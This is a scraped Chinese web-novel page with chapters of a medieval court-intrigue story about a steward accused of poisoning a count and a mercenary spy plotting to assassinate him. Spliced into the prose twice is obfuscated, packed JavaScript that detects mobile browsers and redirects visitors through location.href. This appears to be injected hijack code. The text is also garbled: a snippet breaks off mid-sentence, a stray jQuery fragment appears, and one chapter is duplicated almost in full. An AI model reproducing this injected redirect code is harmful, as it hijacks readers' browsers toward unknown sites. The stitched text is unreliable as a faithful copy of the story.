他一定气坏了……这也难怪。 猜想是猜想,可真在得到切实的证据确认后,会这般愤怒也很正常…… “……莫迪凯。” 伯爵忽地打断我的话,头却还朝向前方,看着餐桌另一边、那还在表演的小丑,缓缓道:“你在这座城堡工作多少年了?” 我的汇报被打断,思绪也被打断了,只有嘴还遵循着习惯张开。 “快17年了,伯爵阁下。”我说道,“那是583年的夏天。” “是啊,是啊,我记得……是布朗什怀上埃尔的那一年……” 他转过头,猝不及防下我突然与他对上了视线。 “你们两个,应该不是那时候就搞到了一起吧?” 窗外一道闪电劈下,掩盖掉他大半声音的同时也让我感到脑中一片空白。 “……什、什么?” 我愣愣对上那双充满愤恨的眼睛,努力让自己表现得格外无辜:“我不明白您的意思,伯爵阁……” “你那些龌龊的心思都写在这里了!白纸黑字,还有什么可抵赖的?” 那只一直按在桌面的左手终于翻起,底下压着的赫然是一张写满字的纸。 我还没来得及看上面的究竟都写了什么,光是看清那熟悉的字体就让我感到手脚瞬间冰冷。 “这是你写给布朗什的情书,我亲手找到的……” 他揪住我的衣领,将我压着跪到地上,另一只手将那张纸送到我面前,声音却压得极低:“好好看看,是不是你的笔迹?!” 我的视线根本无法在那张纸上聚焦……但我能确定,这绝对不是我写的! 我根本没有给布朗什夫人写过什么情书!一次也没有!这种会留下证据的蠢事我怎么会做?! “不、不是,真不是我写的!”我向他哀求道,“我怎么做得出这种事……您要相信我——” “你都敢给我下毒了,还利用我对你的信任,把罪名推给威登堡侯爵,你怎么有脸让我继续信任你?” 我听到他嗤笑了一声,如此说道:“事到如今就不要再装模作样了吧,莫迪凯?先不说布朗什和她那两个家仆做下的蠢事,你口中那个下毒的帮厨早在前天晚上就找到了培林,全盘托出了你的所有计划……我一开始听说还不信,没想到你真敢啊!” 怎、怎么会…… 怎么会全都暴露了,至少布朗什夫人不该…… 我的身体开始不受控制地颤抖,脑中也有一瞬的空白,但随着另一道闪电劈下,我总算从混乱的思绪中抓到了一个点。 “不、不是我做的!伯爵阁下!我对您投毒没有任何好处啊!” 事到如今,我也只能实话实说,努力抓住那只收紧我衣领的手:“是布朗什夫人……是她对您心存不满,因为您拒绝了戈尔波男爵的请求,她一直对您怀恨在心!这才会从巫师那里买了毒药——” “都这个时候了你还想着把罪名推给别人?” 那道压在上方的身影发出一阵令人胆寒的笑声:“布朗什那边什么都交代了。她不过是借着那两个糖雕师的手,往糖雕里混进了点什么蜘蛛、鸡骨头和树皮烧成的灰!她也是天真,居然相信什么所谓女巫的话,以为让我吃下这些就能诅咒我……不过我已经让她自己把剩下的东西全部吃下去了,事实证明,那些东西可没办法让人立刻去死啊……” …………什么? 我不由自主地瞪大眼睛,想要反驳,想要说这是那个荡|妇的狡辩!可一个一闪而过的想法让我冲到喉咙的话顿住…… 如果布朗什夫人没有说谎,下毒的幕后人真不是她,那真正在那盘鹿肉里下毒的究竟是谁? “你既然现在不说,那就不要怪我狠心。” “克劳斯!把他给我带到地牢里——” 我正愣神时,突然感觉领口一松,伯爵阁下已经站起身向,旁边的侍卫招了下手。 我彻底跌坐到地上,向上仰头的瞬间,视野中突然捕捉到一道光。 不像蜡烛,反而像是什么金属的反光…… 不等我反应过来那是什么,那道光已经化为一条笔直的线—— “————啊!” 一声惨叫后,我眼睁睁看到尼托伯爵捂住胸口,庞大臃肿的身体左右晃动了两下,最后无力地向后倒去。 14.4-1 每次参加弥撒,看着站在讲道台上的神父用听不懂的鸟语念诵经文时,我都会不自主地放空自己。 我觉得这算不上不虔诚的行为。 至少我不像有些修士,刚在祭坛旁吐了痰,转头又倒竖起眉毛,呵斥别人祈祷的手势不标准。 我曾经是个无比虔诚的人,我的父母也都是,可虔诚并没给他们带来好运。 从我有记忆开始,父母似乎总是在唉声叹气。 那时候的天就像被谁捅了个窟窿,一年几乎有三分之二的时间都在下雨,而德雷格的田里都种着小麦,哪能经得住这样的暴雨啊? 大概是因为这个,我的整个童年都在饥饿中度过,那种滋味即使现在想起来依然痛苦。 而最令我感到痛苦的时候,那场持续了好几年的饥荒让我失去了两个兄弟。 他们是一对双胞胎,在这种年头出生的孩子都格外瘦弱,像两只小猫般躺在被子里哭。然而最糟糕的是,母亲在生产过后没能挤出一滴乳汁。 我可怜的母亲,她几乎要因此自责到哭晕过去。还好好心的修道院院长听说了我家的情况,正好修道院里有头母牛也刚产下了崽,院长允许我们每天来修道院取两碗奶。 我还记得当时我们有多开心。父亲又哭又笑地亲吻院长的鞋面,我们都以为他们有救了。 可世间的一切就是这么不讲道理,给了人希望又眼睁睁看着它飞走。 修道院里的牲畜全都病倒了,包括那只刚产下自己孩子的母牛。足足三十多头牛最后只活下来了两头! 院长对此也无能为力。他眼睁睁看着刚出生不久的小牛死去,而我也只能眼睁睁看着母亲怀里的两只小猫逐渐虚弱下去,最后完全变得冰冷僵硬。 后来我跟我亲爱的朋友莱森说起这件事时,他却笑笑表示这不算什么。 “那时候大家都难,昆特,那时候谁不难啊?”说到过去,他总会大口灌下一口酒,然后缓缓眯起眼,“你们那里还算不错的……在阿根堡,我们都需要派士兵镇守在绞刑架旁边,否则那些饿疯了的人会一拥而上,把尸体吃得一干二净!” 这个故事他不知说了多少次,尤其是在有新人来的时候,他就喜欢用吃尸体的话吓唬那些第一次见面的年轻人。 每次年轻人听到这个故事都会惊讶地瞪大眼睛,大多数人都要高呼一声“这不可能”,那滑稽的反应总会把我们逗得哈哈大笑。 看到我们笑出来,他们大多也就不会把这事当真了。 如果继续有人追问,莱森也只会笑着不说话。 我从没追问过那究竟是他听来的故事还是亲身经历,毕竟我并不怀疑这话的真实性,饿到极点的人什么都吃。 野草、树根、猫、狗、老鼠、爬虫、飞蛾……饿到受不了的时候我连蚂蚁都吃过。不过那个我吃过一次就不吃了,填不饱肚子就算了,还会让嘴里充满酸味,实在不值得。 然而乱吃东西也会生病,住在隔壁的康尼就是这样。 他是我的小跟屁虫,有次看到我找到一只死老鼠,非缠着我一起烤着吃,可吃完我们都开始拉肚子,躺在床上动弹不得。 我挺过来了,他没有,于是我再也没有吃过老鼠。 做佃农的日子我都快记不清了。 除了挨饿,我对此的唯一印象只有永远耕不完的地和总也交不齐的税,而我们那片土地的主人也并非一个仁慈的人。 还记得我很小的时候,曾经和康尼一起去森林里偷偷捡柴火,却被护林人抓住了。 那恶毒的老头说要砍掉我们的手,让我们这些生活在乡下的“卑贱之人”知道做小偷的下场……好在有一个骑马的老贵族恰好路过,为我们解了围。 “你多大了,孩子。” 他从马上下来,对我说道。 “今天就要8岁了,先生。” 我想不起我当时是怎么称呼他的,但那时的我一定很狼狈。 “那真巧,你跟我的儿子一样大,还是同一天出生的……这说不定也是吾主的指引。” 他并没有在意我的表现,只是笑了笑,拍拍我的肩膀,然后对那护林员说,他愿意为我们支付那些柴火的费用,还将两只野兔送给我作为生日礼物。 那天我像做梦般往家走,路过修道院的时候与院长多说了两句才知道,这位面目慈祥的老人居然是一位侯爵大人,也是我们领主大人的岳父。 “威登堡侯爵是个好人啊……其实往上数十几年我们这里也是侯爵阁下的领地,那时候一旦遇到饥荒,侯爵阁下都会下令减免很多税,哪里会像现在这样,不给人活路……” 修道院院长的话我当时并没有太在意,我因为那两只白得的兔子而激动。 那天的肉真香啊,我难得吃饱了一次,一边吃一边哭,怎么可能记得院长随口说过的一句话呢? 再次想起那句话时,是十四年前的冬天。 那一年附近的土地全部歉收,可我们的领主大人却不肯给予我们哪怕一点点的仁慈。 父母因为想要守住用来过冬的粮食被税官殴打了一顿,最后在虚弱中死去。 于是我决定不再做一名佃农,抛弃了我们在这里住了几代人的房子,离开德雷格加入了一个佣兵团。 我们的团长还算有本事,我在他的队伍里干了十一年,几乎没有拖欠过工资。 我们做的工作也不算太危险,不过是在瓦蓝伯国镇压一些不听国王话的小市民。这些人手里也没有多少能称得上是武器的东西,就算聚集在一起也构不成什么威胁。 瓦蓝是个富裕的好地方,这里的商人都富得流油。 即使是一个普普通通的人家,我们都能从里面搜出几十金币,更不要说那些在城里有名有姓的商人了,不管是马黎还是罗兰都舍不得放开它。 对我们来说,它的好处在于它一直在马黎和罗兰之间摇摆,总是无法彻底站队,这便使我们时不时就能接到任务,轻轻松松便能在这里赚足了军饷。 不过好日子总会到头。因为种种宿怨,马黎与罗兰终于要正式开战了。 而作为常年被罗兰国王雇佣的雇佣兵团,我们的团长自然更加信任老雇主。 在得知要真正面对一场大规模战争后,我开始动摇了。 从16岁离家开始,我在外面颠沛流离了11年。 尽管在佣兵团里能吃饱饭,可每当夜幕降临,听着周围队友的呼噜声,我还是忍不住回想起儿时的那个家。 我突然发现,我从来没有忘过那个家。 尽管那时我们只有茅草做屋顶,室内空间也不宽裕,一家人吃饭睡觉都在大厅里,连一张床都没有,可我还是忍不住想念那时候的生活。 莱森嘲笑我不愧是佃农的儿子。就算长得再凶悍,身上终究流着农民的血。 也许他说得对。 我确实不想再过这种居无定所的生活了,而马黎与罗兰的开战只是给了我一个足够的理由离开。 我既不是罗兰人,又不是罗兰国王的属臣,为什么要因为每月区区两枚金币为人卖命? 于是我逃走了,带着我这些年全部的积蓄和一匹马,一路向东逃去。 最初我并没有什么目标,只害怕我叛逃的事被团长发现会引来追杀,所以除了给马留出一点休息的时间外一直都在跑。 直到跑出罗兰边境我才发现,原来我的潜意识在将我带回我的家乡——德雷格。 可那里我已经回不去了。 我是个逃走的佃农,要是被领主的官员抓住,结局就只有被投进大牢,要用苦役或交一大笔罚款才能换得继续在那里生活 即使十一年过去,我的样貌已经改变,可能没人能认出我,但曾经的屋舍和土地也一定被领主收回,租给了别人。 我倒是能用“外乡人”的身份再在当地寻得一个差事,或用我多年的积蓄再租一块地,重新成为佃农……可回想起我死去的父母兄弟,我的脚怎么都不肯再往那个方向走了。 正在我陷入迷茫时,我想起了那个递给我两只兔子的老人。 威登堡侯爵,那个愿意在饥荒时给自己领民减免赋税的好领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……德雷格世世代代都是我们威登堡家族的领地,那是我姐姐当年嫁给尼托伯爵时带走的嫁妆之一……可我姐姐已经早早去见了圣母,我那可怜的外甥也被他那狠心的继母害死!阿尔伯雷特,那个不要脸的老东西居然眼睁睁看着自己的亲儿子被害也一声不吭!” “我和我的父亲都很生气,不但是为了我那可怜的姐姐和外甥,也因为听说了德雷格境内的难处啊!” 酒桌上,喝醉了的侯爵大人抱住我的肩膀,愤愤道:“真是得来太容易的就不会珍惜,阿尔伯雷特那个老东西在得到德雷格后就慢慢把负责那里的下级官员换成了自己人……那个吝啬的猪猡!他根本不把德雷格人当成自己的领民,连收税都是伯爵领中最高的!” 听着这些内情,我的眼前闪过了很多画面。 父亲和母亲的哭声,修士的叹息,两个小小的棺材被埋进土里,捂着肚子生生疼死的康尼,以及那两个连墓碑都没有的坟墓…… 如果不是他……如果我们的领主依然是那个慈祥的老人,他们是否就不会迎来这样的结局…… “……他该死。” 多年埋藏在心中的怒火顿时借着腹中的酒液熊熊燃烧起来。我眯起眼,借着酒劲对年轻的侯爵大人低声道:“如果有机会,我真想亲手杀了他!” 现在想来,侯爵大人大概也正等着我说这句话。 所以在我说出那句大胆的醉话后,准备端起酒杯的手就被他按住了。 “如果我给你这个机会,你会答应吗?” 那个与我同龄的男人紧盯着我的眼睛,一字一顿道:“昆特,我的兄弟,也许这就是父神的指引,所以你才会在二十年后的今天出现在我面前……” “为了我,为了你自己,你愿意干掉我们共同的仇人吗?” 看着那双充满仇恨的眼睛,我突然明白了什么。 果然,世上没有白吃的午餐。 美梦总是要醒的,现在,是时候为这场梦支付酬金了。 15.4-2 想要刺杀一位伯爵并不容易。 尤其尼托伯爵大概是缺德事做多了,缺乏安全感,放着那么多舒适的庄园不去住,非要常年住在被层层石墙包围的城堡里,这让我能接近他的机会少到不能再少。 而且谁都知道尼托伯爵与现在的皇帝陛下交情匪浅,不然侯爵大人和老侯爵大人也不会与他打了这么多年的官司都无法把德雷格要回来……有这层关系在,我能在刺杀成功后全身而退的可能就更低了。 不过我还是答应了他的请求。 我有不答应的余地吗? 当然有,只要像之前一样,骑一匹马,趁着夜色一走了之就好……只是这次我不想跑了。 不但是因为我已经把大部分积蓄花在了这里,我也喜欢现在的生活,想要继续这样过下去,那我就要完成主人给予的任务。 这是一场交易,就像过去那些年一样,雇主给予我们金钱,换得我们帮他做事。 一切都与过去没有区别,区别只有这次侯爵大人提前支付了酬金。 只要我完成了他交代的任务,让他的施舍成为一场交易,那美梦就能成为现实。 好在侯爵大人虽然对尼托伯爵恨到想要杀了他,他手下的官员们却都在百般劝说他不要冲动。 毕竟尼托伯爵虽然近些年行为愈加放肆,可他死了也不能让威登堡收回德雷格,还容易因此惹怒皇帝陛下。 到时候原本占理的威登堡也要变成不占理的,还会跟尼托家族彻底撕开脸面,那收回德雷格的方法就只剩下开战一条路了。 可威登堡现在并没有开战的实力。 自从马黎与罗兰开战后,罗兰国王便开始想尽办法召集人手,在找雇佣兵之前,最开始的求助对象当然是与罗兰王室沾亲带故的亲戚们。 其中最先响应罗兰王室号召的,便是现任罗兰国王的亲家,罗兰王太子的岳父——波曼国王。 我们的头上有领主,但领主的头上也有大领主。波曼国王就是威登堡侯爵头上的大领主。 大领主响应了号召,下面的领主们即使不想跟着一起去罗兰打仗,至少也要出兵出钱意思一下。 我不知道侯爵大人给自己的大领主支援了多少东西,但光看大臣们说完后他难看的脸色也知道,现在的威登堡确实经不起一场战争带来的消耗。 于是经过一番扯皮,我的任务从刺杀变成作为间谍混进尼托城堡,随时观察尼托伯爵的动作,并定时向威登堡这边汇报。 做间谍确实比做刺客安全。可只要我作为“钉子”埋进去,什么时候能被拔出来就说不定了,这也是“安全”带来的代价。 于是我告别了妻子和刚出生的儿子,穿上早已收起的破衣服,骑上那匹我从佣兵团带出来的马,再次上路了。 混进尼托城堡对我来说不算难事。 我的身手和过去十多年雇佣兵的经历都不是假的,那些进入城堡前只做过农活的普通守卫在我眼里跟木桩子没有区别。 只是尼托伯爵确实是个多疑的人。 即使我看得出他十分欣赏我的身手,却还是只让我做一个普通守卫,生活在门楼里,几乎没有进主楼的机会。 不过我也不着急。 侯爵大人让我过来后还没有安排什么具体任务,我除了每个月去山下的镇子与扮成商人的接头人互换一次信件,其余时间都像个普通人一样生活,一年很快就过去了。 这一年里,我没得到什么侯爵大人感兴趣的消息,却听到了更多有关德雷格的信息。 与侯爵大人说得不太一样的是,城堡里的人都在称赞尼托伯爵对德雷格的治理有多么优秀。 他们说德雷格本身是后来才开垦出来的地,土地肥沃,如果不是威登堡家的人总是撒手不管不认真经营,也不至于一有点洪涝和干旱就颗粒无收。 现在好了,在尼托伯爵下令重修了境内的水渠和道路后,德雷格的粮食产量立刻比过去上涨了不少,现在那里的佃农都是伯爵领内最富有的佃农…… 我当然不会相信这样的谣言。 城堡守卫里又没有来自德雷格的,而我就是德雷格人。我从小生活在那里,在那里长大,我最知道那里的佃农都过着怎样的生活! 说这些的不过是些想要讨好尼托伯爵的马屁精,当然是怎么好怎么说,看到一只乌鸦也能说是天鹅! 可这些话我不能说,说了就会暴露我的身份。 多说多错,为了还能回到那栋房子,再见到儿子和妻子,我不能在这种小事上冲动。 但这里的守卫都来自尼托伯爵领,他们当然不会在城堡里公然说自己领主的坏话,而我又不喜欢听他们的赞美之词,渐渐就有了“孤僻”的名声。 “孤僻”也没什么不好的,至少能让我耳边更清静。 与我同屋的守卫的年纪都不大,最小的才十五六岁,还是些半大小子,再小两岁我都能当他们的爹了,也实在没什么共同语言……其中能与我说得上话的,大概只有哈特和杰恩了。 哈特是个格外爱说话的小伙子,跟谁都能说两句,一点都不在意那人是否愿意听他说话,就算是我的冷脸也吓不到他。有时候我都怀疑他就是自己想说,根本不在乎听他说话的是不是人。 这不是什么夸张的说法,有一次我还看到他在跟一只鸟说话,鸟都被他吵跑了。 至于杰恩……他也是个很能说话的年轻人,但比哈特懂分寸,是个很会为自己钻营的人。 我能与他偶尔说上两句话一是因为他实在很懂察言观色,不会说让人烦躁的话,二就是,我发现他对尼托伯爵并没有什么敬畏。 同样出身周边的佃农家庭,其他守卫都因为能用服役换得家里免一部分税而对自己的领主感恩戴德,杰恩却不一样。 也许因为他是个孤儿,做的也不是服短期的兵役而是一项长期的工作,在他眼里尼托伯爵并不算是自己的主人,只是一个会定期发工资的雇主。 某种意义上他很像个雇佣兵,就像曾经的我一样。 也许我们身上有着类似的特质,所以他时常找我说话时我并不是很排斥。 日子一天天过去,就在我都快适应这种平淡生活的时候,一个消息像投进湖水的石块,生生打破了这份平静。 尼托伯爵的儿媳终于生产,是一个男孩,也是尼托伯爵的长孙。 这个消息不需要我发出去,兴奋的尼托伯爵恨不得全帝国都立刻知道这个好消息,立刻决定要为自己的长孙举办一场盛大的庆典,那几天从城堡骑马飞奔出去的信使比三个月加在一起的都多。 只是我也没想到那个老不死的家伙会这么不要脸,居然还向威登堡侯爵寄了一份邀请函。 于是,在那个月的接头日到来时,我再次见到惯常与我联系的那位商人,他向我递出一把手|弩和一个装着毒药的玻璃瓶,并转达了侯爵大人的意思。 尼托伯爵的再三冒犯彻底惹怒了侯爵大人。 他已经忍了太多年,这次终于不想再忍,只想先杀了这个老东西出口恶气。 当然,侯爵的大臣们没有强烈反对、让信使顺利把信捎给他也有他们的理由。 如今看来用和平的方式讨回德雷格已经彻底没了希望,那不如趁伯爵的儿子年纪还小、还没能积攒什么作战经验的时候杀了老伯爵,引起伯爵领的混乱,也许能用最小的代价夺回德雷格。 “……侯爵阁下说了,如果你能顺利回到威登堡,他将立刻封你为骑士。如果你不幸没能回来,他也会将本该给你的奖励给予你的儿子,等他到了能拿起剑的时候会把他带在身边亲自教导。” 商人这么说着,拿出一张折叠起的纸递给我:“还有这个,是你妻子托我带来的。” 我展开那张纸,里面没有字,只有一幅画。 一张桌子上有许多装着食物的盘子,有面包、汤羹、鸡和鱼,桌旁还坐着一个孩子。 这么简陋的画作,必定出自我的妻子。 她不会写字,只能用这样的方式表达她正在等我回来…… 如果说我爱她,那绝对是谎言。 我与她相处的时间并不长,只有短短一年的时间,我甚至连她的喜好都不是很清楚。 尤其是在侯爵大人表露出让我来尼托做间谍的事之后,我确实怀疑过她,怀疑她是侯爵大人用来把我拴在威登堡的绳索。 她在嫁给我前未必对此毫不知情,就连这幅画也有可能是其中一环。 她害怕我的背叛,害怕我抛下她和孩子逃跑,所以没有借别人的手写一封动人的信,而是笨拙地用如此丑陋的图画向我发出恳求。 她成功了,看到这幅画的瞬间我就心软了。 不管她是否事先知情,自从她嫁给我后便是个好妻子。 她总是能把家里整理得井井有条。不管我多晚回家,她都会为我准备好热腾腾的饭食……我也许不会像诗人口中那些陷入爱河的男人那样甘愿为她献出生命,但我确实思念那个有她在的家。 于是我接过了那把手|弩和装在玻璃瓶里的毒药。 玻璃瓶很小,倒是方便我随身携带,但那把手|弩肯定不能放在宿舍里。 好在这一年趁着巡逻的机会,我已经对整座城堡都十分熟悉,找到了不少能秘密藏东西的地方。 西塔楼下的空地有十几棵树,据说有几棵是前任尼托伯爵种下的。虽然现在已经分不清具体是哪些了,但没有人敢打它们的主意,任由它们肆意生长。 我有次偶然发现其中一棵树的背面有个树洞,大小深度都很合适藏东西。于是我把拆卸成零件的弩分批带到那里,偶尔空闲时便去将其组装好,以便行动时直接使用。 那时我还没想好要怎么刺杀尼托伯爵。 我糟糕的人缘在此时显露出弊端,我作为一个普通的守卫,平时的活动范围只在前堡场和门楼,连伯爵居住的主楼都进不去……连见面都见不到,又何谈刺杀呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231460|165203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就在我为这件事而烦恼时,发生了一件不大不小的事。 庆典期间必然有马上比赛,那一直是人们向领主们展现自身的时候。 我的本事不差,只是身份太低,根本没资格参加——但去看看总是可以的,说不定会有什么预想不到的机会等着我——抱着这样的想法,我便想趁着休班的时候去后堡场看看那些人的练习赛。 见我要出门,又得知我是想去后堡场,杰恩便说要跟我一起去。 走到一半,他说那边人多又密,比赛时间还长,问我要不要一起提前方便一下。 这倒是很有道理。我当时一直在想如何接近尼托伯爵,没多想,跟着他一起向僻静处走去,却没想到居然在不远处的墙根下看到了一具尸体! 这里正是西塔楼,且距离我藏手|弩的树洞不远。 我的第一反应是想要遮掩,但杰恩那个大嗓门已经叫喊起来。 后来我才知道,死者是个厨房的帮厨,死因是为了给西塔楼里的一个隐士送饭,却被从上方落下的砖头砸死了……这是个倒霉的姑娘。 不过让我松口气的是,那姑娘的死因十分清晰,事情也很快被处理干净,城堡内再次恢复宁静。 我一开始以为这只是个巧合,直到杰恩再次找到我,跟我说厨房里有个叫黛拉的厨娘想要见我,询问我那天见到尸体的具体情况。 那个帮厨已经死了快半个月了,为什么还会有人提到她? 我的警惕心在那一刻突然拔高,没有拒绝,跟着杰恩去见了那个厨娘。 黛拉是个看起来很普通的妇人。 个子不高,稍稍有些胖,大概因为有些年纪了脸上的肉开始向下松弛,显得她一脸苦相。 我看得出她似乎很怕我,也在怀疑着什么……我多希望那是我想多了,但她在之后几天的表现证明那并不是我的错觉。 她在向不同人打听关于我的信息。 我不明白她为什么要这么做。 难道她觉得那个帮厨是我杀的?这也太荒谬了,在此之前我都没见过那个小姑娘……还是说,她发现了其他什么? 那一阵侯爵大人的信使也确实来过城堡,但因为怕计划泄露我们没有见面,只在他快要离开时我趁机换班去了大门那里,短暂的一个照面里他朝我递过一个催促的眼神……总不能是因为这么一个眼神而暴露了吧?就算是发现,也不该是一个厨娘最先发觉问题。 或者,是别人发现了我的问题,让一个不会太引人注意的厨娘来调查我? 尽管这也有些说不通,但怀疑一旦产生,我就无法停止深思,那张总是带着愁苦的脸似乎也变得越来越狡诈可憎…… 我曾经设想过很多潜入城堡后会发生的意外,却万万没想到,目前对我产生最大威胁的居然是一个再普通不过的厨娘。 既然她嘴上是在问那个帮厨的死,那不管是在试探我,还是真怀疑那个姑娘的死有什么诡异之处,都有可能会再去西塔楼附近游荡。 西塔楼已经不安全了,我必须把藏在树洞里的东西转移走。 那天晚上,我借着黑夜的掩盖悄悄来到西塔楼的小树林,却惊讶地发现树洞旁居然已经站了一个人,手里还拿着一把眼熟的手|弩! 是那个厨娘,又是她!她果然发现了! 我不可能放过她,必须就在这里杀了她! 我没有丝毫犹豫地解下腰带,从后面用力勒住她的脖子,将人拖拉着重新带回树后。 她算是个力气很大的女人,可依然无法与我的力量抗衡。 很快她就不再挣扎,身体跟着软倒下去。 我没有松开手,死死勒着她的脖子过了许久,确认她不可能活过来时才终于松开手。 那天的天气很好,月光似乎都比平时亮,透过树影照到她脸上,让我看清了她的脸。 依然是那张满是苦相的脸,好像一辈子都没经历过什么开心事似的……看着看着,我居然从那陌生的五官上看到了我的母亲。 真是见鬼!我以为我早就忘记父母的模样了。 这么多年过去,经历了这么多事,他们的脸在我的记忆里早就变得模糊不清,即使在梦里我也只能听到他们的叹息和抱怨声。 大概也因为这个吧,因为他们都有着一张即使没有表情也会显出愁苦的脸……但谁不是这样过来的?这个世界上最不缺的就是苦命人! 我松开腰带,开始思考该如何处理尸体时,眼角余光突然捕捉到一道影子。 幽深的树影中,一个人正静静立在那里,手里还在摆弄着那把掉到地上的手|弩。 我脑中的弦瞬间断了,想都不想就拔出腰间的匕首朝那人刺去—— “……你是来刺杀伯爵阁下的吗?” 就在我即将冲到他面前时,他突然抬起头,用一双黑漆漆的眼睛盯住我,伸手将那把弩向前递来。 “如果你想刺杀伯爵阁下,也许我能帮上忙。” 15.4-2 想要刺杀一位伯爵并不容易。 尤其尼托伯爵大概是缺德事做多了,缺乏安全感,放着那么多舒适的庄园不去住,非要常年住在被层层石墙包围的城堡里,这让我能接近他的机会少到不能再少。 而且谁都知道尼托伯爵与现在的皇帝陛下交情匪浅,不然侯爵大人和老侯爵大人也不会与他打了这么多年的官司都无法把德雷格要回来……有这层关系在,我能在刺杀成功后全身而退的可能就更低了。 不过我还是答应了他的请求。 我有不答应的余地吗? 当然有,只要像之前一样,骑一匹马,趁着夜色一走了之就好……只是这次我不想跑了。 不但是因为我已经把大部分积蓄花在了这里,我也喜欢现在的生活,想要继续这样过下去,那我就要完成主人给予的任务。 这是一场交易,就像过去那些年一样,雇主给予我们金钱,换得我们帮他做事。 一切都与过去没有区别,区别只有这次侯爵大人提前支付了酬金。 只要我完成了他交代的任务,让他的施舍成为一场交易,那美梦就能成为现实。 好在侯爵大人虽然对尼托伯爵恨到想要杀了他,他手下的官员们却都在百般劝说他不要冲动。 毕竟尼托伯爵虽然近些年行为愈加放肆,可他死了也不能让威登堡收回德雷格,还容易因此惹怒皇帝陛下。 到时候原本占理的威登堡也要变成不占理的,还会跟尼托家族彻底撕开脸面,那收回德雷格的方法就只剩下开战一条路了。 可威登堡现在并没有开战的实力。 自从马黎与罗兰开战后,罗兰国王便开始想尽办法召集人手,在找雇佣兵之前,最开始的求助对象当然是与罗兰王室沾亲带故的亲戚们。 其中最先响应罗兰王室号召的,便是现任罗兰国王的亲家,罗兰王太子的岳父——波曼国王。 我们的头上有领主,但领主的头上也有大领主。波曼国王就是威登堡侯爵头上的大领主。 大领主响应了号召,下面的领主们即使不想跟着一起去罗兰打仗,至少也要出兵出钱意思一下。 我不知道侯爵大人给自己的大领主支援了多少东西,但光看大臣们说完后他难看的脸色也知道,现在的威登堡确实经不起一场战争带来的消耗。 于是经过一番扯皮,我的任务从刺杀变成作为间谍混进尼托城堡,随时观察尼托伯爵的动作,并定时向威登堡这边汇报。 做间谍确实比做刺客安全。可只要我作为“钉子”埋进去,什么时候能被拔出来就说不定了,这也是“安全”带来的代价。 于是我告别了妻子和刚出生的儿子,穿上早已收起的破衣服,骑上那匹我从佣兵团带出来的马,再次上路了。 混进尼托城堡对我来说不算难事。 我的身手和过去十多年雇佣兵的经历都不是假的,那些进入城堡前只做过农活的普通守卫在我眼里跟木桩子没有区别。 只是尼托伯爵确实是个多疑的人。 即使我看得出他十分欣赏我的身手,却还是只让我做一个普通守卫,生活在门楼里,几乎没有进主楼的机会。 不过我也不着急。 侯爵大人让我过来后还没有安排什么具体任务,我除了每个月去山下的镇子与扮成商人的接头人互换一次信件,其余时间都像个普通人一样生活,一年很快就过去了。 这一年里,我没得到什么侯爵大人感兴趣的消息,却听到了更多有关德雷格的信息。 与侯爵大人说得不太一样的是,城堡里的人都在称赞尼托伯爵对德雷格的治理有多么优秀。 他们说德雷格本身是后来才开垦出来的地,土地肥沃,如果不是威登堡家的人总是撒手不管不认真经营,也不至于一有点洪涝和干旱就颗粒无收。 现在好了,在尼托伯爵下令重修了境内的水渠和道路后,德雷格的粮食产量立刻比过去上涨了不少,现在那里的佃农都是伯爵领内最富有的佃农…… 我当然不会相信这样的谣言。 城堡守卫里又没有来自德雷格的,而我就是德雷格人。我从小生活在那里,在那里长大,我最知道那里的佃农都过着怎样的生活! 说这些的不过是些想要讨好尼托伯爵的马屁精,当然是怎么好怎么说,看到一只乌鸦也能说是天鹅! 可这些话我不能说,说了就会暴露我的身份。 多说多错,为了还能回到那栋房子,再见到儿子和妻子,我不能在这种小事上冲动。 但这里的守卫都来自尼托伯爵领,他们当然不会在城堡里公然说自己领主的坏话,而我又不喜欢听他们的赞美之词,渐渐就有了“孤僻”的名声。 “孤僻”也没什么不好的,至少能让我耳边更清静。 与我同屋的守卫的年纪都不大,最小的才十五六岁,还是些半大小子,再小两岁我都能当他们的爹了,也实在没什么共同语言……其中能与我说得上话的,大概只有哈特和杰恩了。 哈特是个格外爱说话的小伙子,跟谁都能说两句,一点都不在意那人是否愿意听他说话,就算是我的冷脸也吓不到他。有时候我都怀疑他就是自己想说,根本不在乎听他说话的是不是人。 这不是什么夸张的说法,有一次我还看到他在跟一只鸟说话,鸟都被他吵跑了。 至于杰恩……他也是个很能说话的年轻人,但比哈特懂分寸,是个很会为自己钻营的人。 我能与他偶尔说上两句话一是因为他实在很懂察言观色,不会说让人烦躁的话,二就是,我发现他对尼托伯爵并没有什么敬畏。 同样出身周边的佃农家庭,其他守卫都因为能用服役换得家里免一部分税而对自己的领主感恩戴德,杰恩却不一样。 也许因为他是个孤儿,做的也不是服短期的兵役而是一项长期的工作,在他眼里尼托伯爵并不算是自己的主人,只是一个会定期发工资的雇主。 某种意义上他很像个雇佣兵,就像曾经的我一样。 也许我们身上有着类似的特质,所以他时常找我说话时我并不是很排斥。 日子一天天过去,就在我都快适应这种平淡生活的时候,一个消息像投进湖水的石块,生生打破了这份平静。 尼托伯爵的儿媳终于生产,是一个男孩,也是尼托伯爵的长孙。 这个消息不需要我发出去,兴奋的尼托伯爵恨不得全帝国都立刻知道这个好消息,立刻决定要为自己的长孙举办一场盛大的庆典,那几天从城堡骑马飞奔出去的信使比三个月加在一起的都多。 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我有次偶然发现其中一棵树的背面有个树洞,大小深度都很合适藏东西。于是我把拆卸成零件的弩分批带到那里,偶尔空闲时便去将其组装好,以便行动时直接使用。 